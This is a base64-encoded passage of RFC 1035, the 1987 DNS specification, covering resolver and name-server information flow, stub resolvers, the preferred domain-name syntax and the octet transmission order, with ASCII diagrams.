CAgICAgIHwgICAgIEEgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICBjYWNoZSBhZGRpdGlvbnMgfCAgICAgfCByZWZlcmVuY2VzIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWICAgICB8ICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLSsgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIGNhY2hlICAgfCAgICAgICAgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfAoKVXNlciBwcm9ncmFtcyBpbnRlcmFjdCB3aXRoIHRoZSBkb21haW4gbmFtZSBzcGFjZSB0aHJvdWdoIHJlc29sdmVyczsgdGhlCmZvcm1hdCBvZiB1c2VyIHF1ZXJpZXMgYW5kIHVzZXIgcmVzcG9uc2VzIGlzIHNwZWNpZmljIHRvIHRoZSBob3N0IGFuZAppdHMgb3BlcmF0aW5nIHN5c3RlbS4gIFVzZXIgcXVlcmllcyB3aWxsIHR5cGljYWxseSBiZSBvcGVyYXRpbmcgc3lzdGVtCmNhbGxzLCBhbmQgdGhlIHJlc29sdmVyIGFuZCBpdHMgY2FjaGUgd2lsbCBiZSBwYXJ0IG9mIHRoZSBob3N0IG9wZXJhdGluZwpzeXN0ZW0uICBMZXNzIGNhcGFibGUgaG9zdHMgbWF5IGNob29zZSB0byBpbXBsZW1lbnQgdGhlIHJlc29sdmVyIGFzIGEKc3Vicm91dGluZSB0byBiZSBsaW5rZWQgaW4gd2l0aCBldmVyeSBwcm9ncmFtIHRoYXQgbmVlZHMgaXRzIHNlcnZpY2VzLgpSZXNvbHZlcnMgYW5zd2VyIHVzZXIgcXVlcmllcyB3aXRoIGluZm9ybWF0aW9uIHRoZXkgYWNxdWlyZSB2aWEgcXVlcmllcwp0byBmb3JlaWduIG5hbWUgc2VydmVycyBhbmQgdGhlIGxvY2FsIGNhY2hlLgoKTm90ZSB0aGF0IHRoZSByZXNvbHZlciBtYXkgaGF2ZSB0byBtYWtlIHNldmVyYWwgcXVlcmllcyB0byBzZXZlcmFsCmRpZmZlcmVudCBmb3JlaWduIG5hbWUgc2VydmVycyB0byBhbnN3ZXIgYSBwYXJ0aWN1bGFyIHVzZXIgcXVlcnksIGFuZApoZW5jZSB0aGUgcmVzb2x1dGlvbiBvZiBhIHVzZXIgcXVlcnkgbWF5IGludm9sdmUgc2V2ZXJhbCBuZXR3b3JrCmFjY2Vzc2VzIGFuZCBhbiBhcmJpdHJhcnkgYW1vdW50IG9mIHRpbWUuICBUaGUgcXVlcmllcyB0byBmb3JlaWduIG5hbWUKc2VydmVycyBhbmQgdGhlIGNvcnJlc3BvbmRpbmcgcmVzcG9uc2VzIGhhdmUgYSBzdGFuZGFyZCBmb3JtYXQgZGVzY3JpYmVkCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA0XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCmluIHRoaXMgbWVtbywgYW5kIG1heSBiZSBkYXRhZ3JhbXMuCgpEZXBlbmRpbmcgb24gaXRzIGNhcGFiaWxpdGllcywgYSBuYW1lIHNlcnZlciBjb3VsZCBiZSBhIHN0YW5kIGFsb25lCnByb2dyYW0gb24gYSBkZWRpY2F0ZWQgbWFjaGluZSBvciBhIHByb2Nlc3Mgb3IgcHJvY2Vzc2VzIG9uIGEgbGFyZ2UKdGltZXNoYXJlZCBob3N0LiAgQSBzaW1wbGUgY29uZmlndXJhdGlvbiBtaWdodCBiZToKCiAgICAgICAgICAgICAgICAgTG9jYWwgSG9zdCAgICAgICAgICAgICAgICAgICAgICAgIHwgIEZvcmVpZ24KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICArLS0tLS0tLS0tKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgLyAgICAgICAgIC98ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLS0tLS0tLS0rIHwgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfCAgKy0tLS0tLS0tKwogICAgfCAgICAgICAgIHwgfCAgICAgICAgICAgICB8ICAgICAgICAgIHxyZXNwb25zZXN8ICB8ICAgICAgICB8CiAgICB8ICAgICAgICAgfCB8ICAgICAgICAgICAgIHwgICBOYW1lICAgfC0tLS0tLS0tLXwtPnxGb3JlaWduIHwKICAgIHwgIE1hc3RlciB8LS0tLS0tLS0tLS0tLS0+fCAgU2VydmVyICB8ICAgICAgICAgfCAgfFJlc29sdmVyfAogICAgfCAgZmlsZXMgIHwgfCAgICAgICAgICAgICB8ICAgICAgICAgIHw8LS0tLS0tLS18LS18ICAgICAgICB8CiAgICB8ICAgICAgICAgfC8gICAgICAgICAgICAgIHwgICAgICAgICAgfCBxdWVyaWVzIHwgICstLS0tLS0tLSsKICAgICstLS0tLS0tLS0rICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfAoKSGVyZSBhIHByaW1hcnkgbmFtZSBzZXJ2ZXIgYWNxdWlyZXMgaW5mb3JtYXRpb24gYWJvdXQgb25lIG9yIG1vcmUgem9uZXMKYnkgcmVhZGluZyBtYXN0ZXIgZmlsZXMgZnJvbSBpdHMgbG9jYWwgZmlsZSBzeXN0ZW0sIGFuZCBhbnN3ZXJzIHF1ZXJpZXMKYWJvdXQgdGhvc2Ugem9uZXMgdGhhdCBhcnJpdmUgZnJvbSBmb3JlaWduIHJlc29sdmVycy4KClRoZSBETlMgcmVxdWlyZXMgdGhhdCBhbGwgem9uZXMgYmUgcmVkdW5kYW50bHkgc3VwcG9ydGVkIGJ5IG1vcmUgdGhhbgpvbmUgbmFtZSBzZXJ2ZXIuICBEZXNpZ25hdGVkIHNlY29uZGFyeSBzZXJ2ZXJzIGNhbiBhY3F1aXJlIHpvbmVzIGFuZApjaGVjayBmb3IgdXBkYXRlcyBmcm9tIHRoZSBwcmltYXJ5IHNlcnZlciB1c2luZyB0aGUgem9uZSB0cmFuc2Zlcgpwcm90b2NvbCBvZiB0aGUgRE5TLiAgVGhpcyBjb25maWd1cmF0aW9uIGlzIHNob3duIGJlbG93OgoKICAgICAgICAgICAgICAgICBMb2NhbCBIb3N0ICAgICAgICAgICAgICAgICAgICAgICAgfCAgRm9yZWlnbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICstLS0tLS0tLS0rICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAvICAgICAgICAgL3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tLS0tLS0tLSsgfCAgICAgICAgICAgICArLS0tLS0tLS0tLSsgICAgICAgICB8ICArLS0tLS0tLS0rCiAgICB8ICAgICAgICAgfCB8ICAgICAgICAgICAgIHwgICAgICAgICAgfHJlc3BvbnNlc3wgIHwgICAgICAgIHwKICAgIHwgICAgICAgICB8IHwgICAgICAgICAgICAgfCAgIE5hbWUgICB8LS0tLS0tLS0tfC0+fEZvcmVpZ24gfAogICAgfCAgTWFzdGVyIHwtLS0tLS0tLS0tLS0tLT58ICBTZXJ2ZXIgIHwgICAgICAgICB8ICB8UmVzb2x2ZXJ8CiAgICB8ICBmaWxlcyAgfCB8ICAgICAgICAgICAgIHwgICAgICAgICAgfDwtLS0tLS0tLXwtLXwgICAgICAgIHwKICAgIHwgICAgICAgICB8LyAgICAgICAgICAgICAgfCAgICAgICAgICB8IHF1ZXJpZXMgfCAgKy0tLS0tLS0tKwogICAgKy0tLS0tLS0tLSsgICAgICAgICAgICAgICArLS0tLS0tLS0tLSsgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQSAgICAgfG1haW50ZW5hbmNlIHwgICstLS0tLS0tLSsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgICArLS0tLS0tLS0tLS0tfC0+fCAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAgICBxdWVyaWVzICAgICB8ICB8Rm9yZWlnbiB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgIHwgIHwgIE5hbWUgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tfC0tfCBTZXJ2ZXIgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1haW50ZW5hbmNlIHJlc3BvbnNlcyB8ICArLS0tLS0tLS0rCgpJbiB0aGlzIGNvbmZpZ3VyYXRpb24sIHRoZSBuYW1lIHNlcnZlciBwZXJpb2RpY2FsbHkgZXN0YWJsaXNoZXMgYQp2aXJ0dWFsIGNpcmN1aXQgdG8gYSBmb3JlaWduIG5hbWUgc2VydmVyIHRvIGFjcXVpcmUgYSBjb3B5IG9mIGEgem9uZSBvcgp0byBjaGVjayB0aGF0IGFuIGV4aXN0aW5nIGNvcHkgaGFzIG5vdCBjaGFuZ2VkLiAgVGhlIG1lc3NhZ2VzIHNlbnQgZm9yCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCnRoZXNlIG1haW50ZW5hbmNlIGFjdGl2aXRpZXMgZm9sbG93IHRoZSBzYW1lIGZvcm0gYXMgcXVlcmllcyBhbmQKcmVzcG9uc2VzLCBidXQgdGhlIG1lc3NhZ2Ugc2VxdWVuY2VzIGFyZSBzb21ld2hhdCBkaWZmZXJlbnQuCgpUaGUgaW5mb3JtYXRpb24gZmxvdyBpbiBhIGhvc3QgdGhhdCBzdXBwb3J0cyBhbGwgYXNwZWN0cyBvZiB0aGUgZG9tYWluCm5hbWUgc3lzdGVtIGlzIHNob3duIGJlbG93OgoKICAgICAgICAgICAgICAgICBMb2NhbCBIb3N0ICAgICAgICAgICAgICAgICAgICAgICAgfCAgRm9yZWlnbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICArLS0tLS0tLS0tKyAgICAgICAgICAgICAgICstLS0tLS0tLS0tKyAgICAgICAgIHwgICstLS0tLS0tLSsKICAgIHwgICAgICAgICB8IHVzZXIgcXVlcmllcyAgfCAgICAgICAgICB8cXVlcmllcyAgfCAgfCAgICAgICAgfAogICAgfCAgVXNlciAgIHwtLS0tLS0tLS0tLS0tLT58ICAgICAgICAgIHwtLS0tLS0tLS18LT58Rm9yZWlnbiB8CiAgICB8IFByb2dyYW0gfCAgICAgICAgICAgICAgIHwgUmVzb2x2ZXIgfCAgICAgICAgIHwgIHwgIE5hbWUgIHwKICAgIHwgICAgICAgICB8PC0tLS0tLS0tLS0tLS0tfCAgICAgICAgICB8PC0tLS0tLS0tfC0tfCBTZXJ2ZXIgfAogICAgfCAgICAgICAgIHwgdXNlciByZXNwb25zZXN8ICAgICAgICAgIHxyZXNwb25zZXN8ICB8ICAgICAgICB8CiAgICArLS0tLS0tLS0tKyAgICAgICAgICAgICAgICstLS0tLS0tLS0tKyAgICAgICAgIHwgICstLS0tLS0tLSsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgICBBICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgY2FjaGUgYWRkaXRpb25zIHwgICAgIHwgcmVmZXJlbmNlcyB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgViAgICAgfCAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICBTaGFyZWQgIHwgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgZGF0YWJhc2UgfCAgICAgICAgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0rICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEEgICAgIHwgICAgICAgICAgICB8CiAgICAgICstLS0tLS0tLS0rICAgICByZWZyZXNoZXMgfCAgICAgfCByZWZlcmVuY2VzIHwKICAgICAvICAgICAgICAgL3wgICAgICAgICAgICAgICB8ICAgICBWICAgICAgICAgICAgfAogICAgKy0tLS0tLS0tLSsgfCAgICAgICAgICAgICArLS0tLS0tLS0tLSsgICAgICAgICB8ICArLS0tLS0tLS0rCiAgICB8ICAgICAgICAgfCB8ICAgICAgICAgICAgIHwgICAgICAgICAgfHJlc3BvbnNlc3wgIHwgICAgICAgIHwKICAgIHwgICAgICAgICB8IHwgICAgICAgICAgICAgfCAgIE5hbWUgICB8LS0tLS0tLS0tfC0+fEZvcmVpZ24gfAogICAgfCAgTWFzdGVyIHwtLS0tLS0tLS0tLS0tLT58ICBTZXJ2ZXIgIHwgICAgICAgICB8ICB8UmVzb2x2ZXJ8CiAgICB8ICBmaWxlcyAgfCB8ICAgICAgICAgICAgIHwgICAgICAgICAgfDwtLS0tLS0tLXwtLXwgICAgICAgIHwKICAgIHwgICAgICAgICB8LyAgICAgICAgICAgICAgfCAgICAgICAgICB8IHF1ZXJpZXMgfCAgKy0tLS0tLS0tKwogICAgKy0tLS0tLS0tLSsgICAgICAgICAgICAgICArLS0tLS0tLS0tLSsgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQSAgICAgfG1haW50ZW5hbmNlIHwgICstLS0tLS0tLSsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgICArLS0tLS0tLS0tLS0tfC0+fCAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAgICBxdWVyaWVzICAgICB8ICB8Rm9yZWlnbiB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgIHwgIHwgIE5hbWUgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tfC0tfCBTZXJ2ZXIgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1haW50ZW5hbmNlIHJlc3BvbnNlcyB8ICArLS0tLS0tLS0rCgpUaGUgc2hhcmVkIGRhdGFiYXNlIGhvbGRzIGRvbWFpbiBzcGFjZSBkYXRhIGZvciB0aGUgbG9jYWwgbmFtZSBzZXJ2ZXIKYW5kIHJlc29sdmVyLiAgVGhlIGNvbnRlbnRzIG9mIHRoZSBzaGFyZWQgZGF0YWJhc2Ugd2lsbCB0eXBpY2FsbHkgYmUgYQptaXh0dXJlIG9mIGF1dGhvcml0YXRpdmUgZGF0YSBtYWludGFpbmVkIGJ5IHRoZSBwZXJpb2RpYyByZWZyZXNoCm9wZXJhdGlvbnMgb2YgdGhlIG5hbWUgc2VydmVyIGFuZCBjYWNoZWQgZGF0YSBmcm9tIHByZXZpb3VzIHJlc29sdmVyCnJlcXVlc3RzLiAgVGhlIHN0cnVjdHVyZSBvZiB0aGUgZG9tYWluIGRhdGEgYW5kIHRoZSBuZWNlc3NpdHkgZm9yCnN5bmNocm9uaXphdGlvbiBiZXR3ZWVuIG5hbWUgc2VydmVycyBhbmQgcmVzb2x2ZXJzIGltcGx5IHRoZSBnZW5lcmFsCmNoYXJhY3RlcmlzdGljcyBvZiB0aGlzIGRhdGFiYXNlLCBidXQgdGhlIGFjdHVhbCBmb3JtYXQgaXMgdXAgdG8gdGhlCmxvY2FsIGltcGxlbWVudG9yLgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDZdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKSW5mb3JtYXRpb24gZmxvdyBjYW4gYWxzbyBiZSB0YWlsb3JlZCBzbyB0aGF0IGEgZ3JvdXAgb2YgaG9zdHMgYWN0CnRvZ2V0aGVyIHRvIG9wdGltaXplIGFjdGl2aXRpZXMuICBTb21ldGltZXMgdGhpcyBpcyBkb25lIHRvIG9mZmxvYWQgbGVzcwpjYXBhYmxlIGhvc3RzIHNvIHRoYXQgdGhleSBkbyBub3QgaGF2ZSB0byBpbXBsZW1lbnQgYSBmdWxsIHJlc29sdmVyLgpUaGlzIGNhbiBiZSBhcHByb3ByaWF0ZSBmb3IgUENzIG9yIGhvc3RzIHdoaWNoIHdhbnQgdG8gbWluaW1pemUgdGhlCmFtb3VudCBvZiBuZXcgbmV0d29yayBjb2RlIHdoaWNoIGlzIHJlcXVpcmVkLiAgVGhpcyBzY2hlbWUgY2FuIGFsc28KYWxsb3cgYSBncm91cCBvZiBob3N0cyBjYW4gc2hhcmUgYSBzbWFsbCBudW1iZXIgb2YgY2FjaGVzIHJhdGhlciB0aGFuCm1haW50YWluaW5nIGEgbGFyZ2UgbnVtYmVyIG9mIHNlcGFyYXRlIGNhY2hlcywgb24gdGhlIHByZW1pc2UgdGhhdCB0aGUKY2VudHJhbGl6ZWQgY2FjaGVzIHdpbGwgaGF2ZSBhIGhpZ2hlciBoaXQgcmF0aW8uICBJbiBlaXRoZXIgY2FzZSwKcmVzb2x2ZXJzIGFyZSByZXBsYWNlZCB3aXRoIHN0dWIgcmVzb2x2ZXJzIHdoaWNoIGFjdCBhcyBmcm9udCBlbmRzIHRvCnJlc29sdmVycyBsb2NhdGVkIGluIGEgcmVjdXJzaXZlIHNlcnZlciBpbiBvbmUgb3IgbW9yZSBuYW1lIHNlcnZlcnMKa25vd24gdG8gcGVyZm9ybSB0aGF0IHNlcnZpY2U6CgogICAgICAgICAgICAgICAgICAgTG9jYWwgSG9zdHMgICAgICAgICAgICAgICAgICAgICB8ICBGb3JlaWduCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICstLS0tLS0tLS0rICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgIHwgcmVzcG9uc2VzICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICB8IFN0dWIgICAgfDwtLS0tLS0tLS0tLS0tLS0tLS0tLSsgICAgICAgICAgICAgIHwKICAgIHwgUmVzb2x2ZXJ8ICAgICAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgIHwtLS0tLS0tLS0tLS0tLS0tKyAgICB8ICAgICAgICAgICAgICB8CiAgICArLS0tLS0tLS0tKyByZWN1cnNpdmUgICAgICB8ICAgIHwgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgIHF1ZXJpZXMgICAgICAgIHwgICAgfCAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgViAgICB8ICAgICAgICAgICAgICB8CiAgICArLS0tLS0tLS0tKyByZWN1cnNpdmUgICAgICstLS0tLS0tLS0tKyAgICAgICAgIHwgICstLS0tLS0tLSsKICAgIHwgICAgICAgICB8IHF1ZXJpZXMgICAgICAgfCAgICAgICAgICB8cXVlcmllcyAgfCAgfCAgICAgICAgfAogICAgfCBTdHViICAgIHwtLS0tLS0tLS0tLS0tLT58IFJlY3Vyc2l2ZXwtLS0tLS0tLS18LT58Rm9yZWlnbiB8CiAgICB8IFJlc29sdmVyfCAgICAgICAgICAgICAgIHwgU2VydmVyICAgfCAgICAgICAgIHwgIHwgIE5hbWUgIHwKICAgIHwgICAgICAgICB8PC0tLS0tLS0tLS0tLS0tfCAgICAgICAgICB8PC0tLS0tLS0tfC0tfCBTZXJ2ZXIgfAogICAgKy0tLS0tLS0tLSsgcmVzcG9uc2VzICAgICB8ICAgICAgICAgIHxyZXNwb25zZXN8ICB8ICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICstLS0tLS0tLS0tKyAgICAgICAgIHwgICstLS0tLS0tLSsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgQ2VudHJhbCB8ICAgICAgICAgfAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgY2FjaGUgIHwgICAgICAgICB8CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICstLS0tLS0tLS0tKyAgICAgICAgIHwKCkluIGFueSBjYXNlLCBub3RlIHRoYXQgZG9tYWluIGNvbXBvbmVudHMgYXJlIGFsd2F5cyByZXBsaWNhdGVkIGZvcgpyZWxpYWJpbGl0eSB3aGVuZXZlciBwb3NzaWJsZS4KCjIuMy4gQ29udmVudGlvbnMKClRoZSBkb21haW4gc3lzdGVtIGhhcyBzZXZlcmFsIGNvbnZlbnRpb25zIGRlYWxpbmcgd2l0aCBsb3ctbGV2ZWwsIGJ1dApmdW5kYW1lbnRhbCwgaXNzdWVzLiAgV2hpbGUgdGhlIGltcGxlbWVudG9yIGlzIGZyZWUgdG8gdmlvbGF0ZSB0aGVzZQpjb252ZW50aW9ucyBXSVRISU4gSElTIE9XTiBTWVNURU0sIGhlIG11c3Qgb2JzZXJ2ZSB0aGVzZSBjb252ZW50aW9ucyBpbgpBTEwgYmVoYXZpb3Igb2JzZXJ2ZWQgZnJvbSBvdGhlciBob3N0cy4KCjIuMy4xLiBQcmVmZXJyZWQgbmFtZSBzeW50YXgKClRoZSBETlMgc3BlY2lmaWNhdGlvbnMgYXR0ZW1wdCB0byBiZSBhcyBnZW5lcmFsIGFzIHBvc3NpYmxlIGluIHRoZSBydWxlcwpmb3IgY29uc3RydWN0aW5nIGRvbWFpbiBuYW1lcy4gIFRoZSBpZGVhIGlzIHRoYXQgdGhlIG5hbWUgb2YgYW55CmV4aXN0aW5nIG9iamVjdCBjYW4gYmUgZXhwcmVzc2VkIGFzIGEgZG9tYWluIG5hbWUgd2l0aCBtaW5pbWFsIGNoYW5nZXMuCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA3XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCkhvd2V2ZXIsIHdoZW4gYXNzaWduaW5nIGEgZG9tYWluIG5hbWUgZm9yIGFuIG9iamVjdCwgdGhlIHBydWRlbnQgdXNlcgp3aWxsIHNlbGVjdCBhIG5hbWUgd2hpY2ggc2F0aXNmaWVzIGJvdGggdGhlIHJ1bGVzIG9mIHRoZSBkb21haW4gc3lzdGVtCmFuZCBhbnkgZXhpc3RpbmcgcnVsZXMgZm9yIHRoZSBvYmplY3QsIHdoZXRoZXIgdGhlc2UgcnVsZXMgYXJlIHB1Ymxpc2hlZApvciBpbXBsaWVkIGJ5IGV4aXN0aW5nIHByb2dyYW1zLgoKRm9yIGV4YW1wbGUsIHdoZW4gbmFtaW5nIGEgbWFpbCBkb21haW4sIHRoZSB1c2VyIHNob3VsZCBzYXRpc2Z5IGJvdGggdGhlCnJ1bGVzIG9mIHRoaXMgbWVtbyBhbmQgdGhvc2UgaW4gUkZDLTgyMi4gIFdoZW4gY3JlYXRpbmcgYSBuZXcgaG9zdCBuYW1lLAp0aGUgb2xkIHJ1bGVzIGZvciBIT1NUUy5UWFQgc2hvdWxkIGJlIGZvbGxvd2VkLiAgVGhpcyBhdm9pZHMgcHJvYmxlbXMKd2hlbiBvbGQgc29mdHdhcmUgaXMgY29udmVydGVkIHRvIHVzZSBkb21haW4gbmFtZXMuCgpUaGUgZm9sbG93aW5nIHN5bnRheCB3aWxsIHJlc3VsdCBpbiBmZXdlciBwcm9ibGVtcyB3aXRoIG1hbnkKCmFwcGxpY2F0aW9ucyB0aGF0IHVzZSBkb21haW4gbmFtZXMgKGUuZy4sIG1haWwsIFRFTE5FVCkuCgo8ZG9tYWluPiA6Oj0gPHN1YmRvbWFpbj4gfCAiICIKCjxzdWJkb21haW4+IDo6PSA8bGFiZWw+IHwgPHN1YmRvbWFpbj4gIi4iIDxsYWJlbD4KCjxsYWJlbD4gOjo9IDxsZXR0ZXI+IFsgWyA8bGRoLXN0cj4gXSA8bGV0LWRpZz4gXQoKPGxkaC1zdHI+IDo6PSA8bGV0LWRpZy1oeXA+IHwgPGxldC1kaWctaHlwPiA8bGRoLXN0cj4KCjxsZXQtZGlnLWh5cD4gOjo9IDxsZXQtZGlnPiB8ICItIgoKPGxldC1kaWc+IDo6PSA8bGV0dGVyPiB8IDxkaWdpdD4KCjxsZXR0ZXI+IDo6PSBhbnkgb25lIG9mIHRoZSA1MiBhbHBoYWJldGljIGNoYXJhY3RlcnMgQSB0aHJvdWdoIFogaW4KdXBwZXIgY2FzZSBhbmQgYSB0aHJvdWdoIHogaW4gbG93ZXIgY2FzZQoKPGRpZ2l0PiA6Oj0gYW55IG9uZSBvZiB0aGUgdGVuIGRpZ2l0cyAwIHRocm91Z2ggOQoKTm90ZSB0aGF0IHdoaWxlIHVwcGVyIGFuZCBsb3dlciBjYXNlIGxldHRlcnMgYXJlIGFsbG93ZWQgaW4gZG9tYWluCm5hbWVzLCBubyBzaWduaWZpY2FuY2UgaXMgYXR0YWNoZWQgdG8gdGhlIGNhc2UuICBUaGF0IGlzLCB0d28gbmFtZXMgd2l0aAp0aGUgc2FtZSBzcGVsbGluZyBidXQgZGlmZmVyZW50IGNhc2UgYXJlIHRvIGJlIHRyZWF0ZWQgYXMgaWYgaWRlbnRpY2FsLgoKVGhlIGxhYmVscyBtdXN0IGZvbGxvdyB0aGUgcnVsZXMgZm9yIEFSUEFORVQgaG9zdCBuYW1lcy4gIFRoZXkgbXVzdApzdGFydCB3aXRoIGEgbGV0dGVyLCBlbmQgd2l0aCBhIGxldHRlciBvciBkaWdpdCwgYW5kIGhhdmUgYXMgaW50ZXJpb3IKY2hhcmFjdGVycyBvbmx5IGxldHRlcnMsIGRpZ2l0cywgYW5kIGh5cGhlbi4gIFRoZXJlIGFyZSBhbHNvIHNvbWUKcmVzdHJpY3Rpb25zIG9uIHRoZSBsZW5ndGguICBMYWJlbHMgbXVzdCBiZSA2MyBjaGFyYWN0ZXJzIG9yIGxlc3MuCgpGb3IgZXhhbXBsZSwgdGhlIGZvbGxvd2luZyBzdHJpbmdzIGlkZW50aWZ5IGhvc3RzIGluIHRoZSBJbnRlcm5ldDoKCkEuSVNJLkVEVSBYWC5MQ1MuTUlULkVEVSBTUkktTklDLkFSUEEKCjIuMy4yLiBEYXRhIFRyYW5zbWlzc2lvbiBPcmRlcgoKVGhlIG9yZGVyIG9mIHRyYW5zbWlzc2lvbiBvZiB0aGUgaGVhZGVyIGFuZCBkYXRhIGRlc2NyaWJlZCBpbiB0aGlzCmRvY3VtZW50IGlzIHJlc29sdmVkIHRvIHRoZSBvY3RldCBsZXZlbC4gIFdoZW5ldmVyIGEgZGlhZ3JhbSBzaG93cyBhCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA4XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCmdyb3VwIG9mIG9jdGV0cywgdGhlIG9yZGVyIG9mIHRyYW5zbWlzc2lvbiBvZiB0aG9zZSBvY3RldHMgaXMgdGhlIG5vcm1hbApvcmRlciBpbiB3aGljaCB0aGV5IGFyZSByZWFkIGluIEVuZ2xpc2guICBGb3IgZXhhbXBsZSwgaW4gdGhlIGZvbGxvd2luZwpkaWFncmFtLCB0aGUgb2N0ZXRzIGFyZSB0cmFuc21pdHRlZCBpbiB0aGUgb3JkZXIgdGhleSBhcmUgbnVtYmVyZWQuCgogICAgIDAgICAgICAgICAgICAgICAgICAgMQogICAgIDAgMSAyIDMgNCA1IDYgNyA4IDkgMCAxIDIgMyA0IDUKICAgICstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKwogICAgfCAgICAgICAxICAgICAgIHwgICAgICAgMiAgICAgICB8CiAgICArLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSsKICAgIHwgICAgICAgMyAgICAgICB8ICAgICAgIDQgICAgICAgfAogICAgKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rCiAgICB8ICAgICAgIDUgICAgICAgfCAgICAgICA2ICAgICAgIHwKICAgICstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKwoKV2hlbmV2ZXIgYW4gb2N0ZXQgcmVwcmVzZW50cyBhIG51bWVyaWMgcXVhbnRpdHksIHRoZSBsZWZ0IG1vc3QgYml0IGluCnRoZSBkaWFncmFtIGlzIHRoZSBoaWdoIG9yZGVyIG9yIG1vc3Qgc2lnbmlmaWNhbnQgYml0LiAgVGhhdCBpcywgdGhlIGJpdApsYWJlbGVkIDAgaXMgdGhlIG1vc3Qgc2lnbmlmaWNhbnQgYml0LiAgRm9yIGV4YW1wbGUsIHRoZSBmb2xsb3dpbmcKZGlhZ3JhbSByZXByZXNlbnRzIHRoZSB2YWx1ZSAxNzAgKGRlY2